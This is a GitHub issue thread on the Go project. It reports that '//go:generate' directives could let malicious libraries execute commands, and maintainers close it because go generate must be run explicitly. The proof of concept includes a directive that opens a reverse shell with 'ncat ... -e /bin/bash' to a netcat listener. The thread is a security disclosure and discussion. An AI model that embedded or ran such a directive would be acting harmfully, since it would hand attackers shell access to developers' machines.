Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Maybe it's not a bug, it's the expected behavior, but it's the way of RCE(Remote Command Execution) attack in the supply chain #52059

Closed
hktalent opened this issue Mar 31, 2022 · 5 comments

Comments

@hktalent
Copy link

The go generate command does not conduct security check. When compiling the associated malicious library and code, it may cause the execution of the "//go:generate [malicious command]"

Impact

1、hacker run

nc -lv 4444

2、POC

testRce.go
Code 152 BytesWrap lines Copy Download
package main

import (
       "fmt"
)
//go:generate ncat 127.0.0.1 4444 -e /bin/bash
func main() {
fmt.Println("test go:generate remote command execution ")
}

3、run build

go generate -x testRce.go

4、test command execution

in "nc -lv 4444" console

Attack scenario:
People who provide golang open source libraries and projects may embed malicious commands, causing users to trigger commands during compilatio
2022-03-29 10 12 06

@hktalent
Copy link
Author

In any case, with open source libraries flying everywhere, supply chain security has become urgent and needs better mechanisms to ensure it

@zigo101
Copy link

zigo101 commented Mar 31, 2022

go generate may run any commands. It is the user's duty to decide whether or not to run go generate.

@hktalent
Copy link
Author

hktalent commented Mar 31, 2022

@go101 I know,But in the whole ecology, there are risks
There are too many open sources and complex dependencies. Think carefully about the supply chain attacks that are extremely feared

@zigo101
Copy link

zigo101 commented Mar 31, 2022

The go generate command does not conduct security check.

This is an impossible task for go generate.

Do you mean the docs of go generate should mention the risk in a more obvious manner?

Currently, the docs says

Generate runs commands described by directives within existing
files. Those commands can run any process but the intent is to
create or update Go source files.

Go generate is never run automatically by go build, go test,
and so on. It must be run explicitly.

@mdlayher
Copy link
Member

See above, it is up to the user to decide when to run go generate. Closing.

@golang golang locked and limited conversation to collaborators Mar 31, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

No branches or pull requests

4 participants